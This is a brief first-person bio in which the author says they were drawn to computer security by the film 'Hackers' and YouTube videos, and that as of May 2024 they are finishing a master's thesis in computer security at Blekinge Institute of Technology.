I entered the computer security field due to hollywood movies (HACKERS) and youtube videos before proceeding to study for a master of science in engineering: computer security at Blekinge Institute of Technology in 2019 and as of May 8th 2024 I am currently finishing my thesis there.